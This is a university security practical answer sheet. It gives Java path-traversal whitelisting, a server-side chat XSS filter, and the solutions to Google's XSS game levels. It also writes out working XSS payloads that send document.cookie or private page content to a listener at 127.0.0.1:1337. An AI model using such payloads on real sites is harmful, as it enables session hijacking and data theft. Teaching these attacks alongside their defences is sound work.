Security Practical 2 Answers

Dr Chris G. Willcocks

Last Modified: October 21, 2018

Practical 2

These answers are not in the same order as with the questions (to prevent awkard code splits).

Prevent path traversal attacks

There are multiple ways to do this. Here is an example whitelist regex approach:

Listing 1: Java

```
1
2     boolean validPath = Pattern.matches("/[a-zA-Z]{1,20}\\.[a-zA-Z]{1,4}", path);
3
4     File file = new File(root + path).getCanonicalFile();
5
6     if (!validPath || !file.isFile()) {
7         // reject with 404
8
9     ...
```

We accept between 1 and 20 letters, then a fullstop '.' followed by a file extension of up to 4 letters.

Stealing document cookies

Listing 2: Javascript

```
1 Hello everyone!<script>$.get('http://127.0.0.1:1337/malicious?'+document.cookie);</
      script>
```

Stealing with IMG onerror

Listing 3: Javascript

```
1 <img src=null onerror="$.get('http://127.0.0.1:1337/malicious?'+document.cookie);">
```

Stealing without cookies

Listing 4: Javascript

```
1 <script>$.get("http://127.0.0.1:1337/malicious?"+$('#private')[0].innerHTML);</script>
```

Using third-party libraries

If you wish to try using third-party libraries to solve the last question, that's fine but be aware of any code you wrote for the first half of the practical to whitelist valid paths. For example in my code I only allow one fullstop whereas a lot of third-party libraries have two full stops e.g. 'd3.min.js'.

XSS game answers

Listing 5: Javascript

```
Level 1: Hello, world of XSS
<script>alert('done')</script>

Level 2: Persistence is key
<img src=null onerror='alert("done")'>

Level 3: That sinking feeling...
https://xss-game.appspot.com/level3/frame#1' onerror='alert("done")';

Level 4: Context matters
https://xss-game.appspot.com/level4/frame
timer=');alert('done

Level 5: Breaking protocol
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('done')
Enter an email and click next.

Level 6: Follow the X
https://xss-game.appspot.com/level6/frame#data:text/plain,alert('done')
```

Preventing XSS attacks in the Chat

This is quite hard to do properly without relying on third-party libraries. There are lots of ways to do this. I opted for a simple whitelisting approach on the server, storing messages in an ArrayList and severely restricting the possible symbols for each message.

Listing 6: Javascript

```
// message submit clicked
$("#submit").click(function (e) {
    e.preventDefault();
    // send messages to server and update result with server data
    $.post("message", $('#nameInput')[0].value+": "+$('#messageInput')[0].value, function (
        data) {
        $("#result").html(data);
    });
});
```

Listing 7: Java

```
ArrayList<String> messageList = new ArrayList<String>();

class MessageHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange t) throws IOException {
        // Parse request
        InputStreamReader isr = new InputStreamReader(t.getRequestBody(), "utf-8");
        BufferedReader br = new BufferedReader(isr);
        String query = br.readLine();

        if (query != null) {
            String decoded = URLDecoder.decode(query, System.getProperty("file.encoding"));
            decoded = decoded.replaceAll("[^a-zA-Z0-9 .,:!]", "");
            messageList.add(messageList.size(), decoded);
        }

        String responses = "";
        for (String msg : messageList) {
            responses += msg + "<br><br>";
        }

        t.sendResponseHeaders(200, responses.length());
        OutputStream os = t.getResponseBody();
        os.write(responses.toString().getBytes());
        os.close();
    }
}
```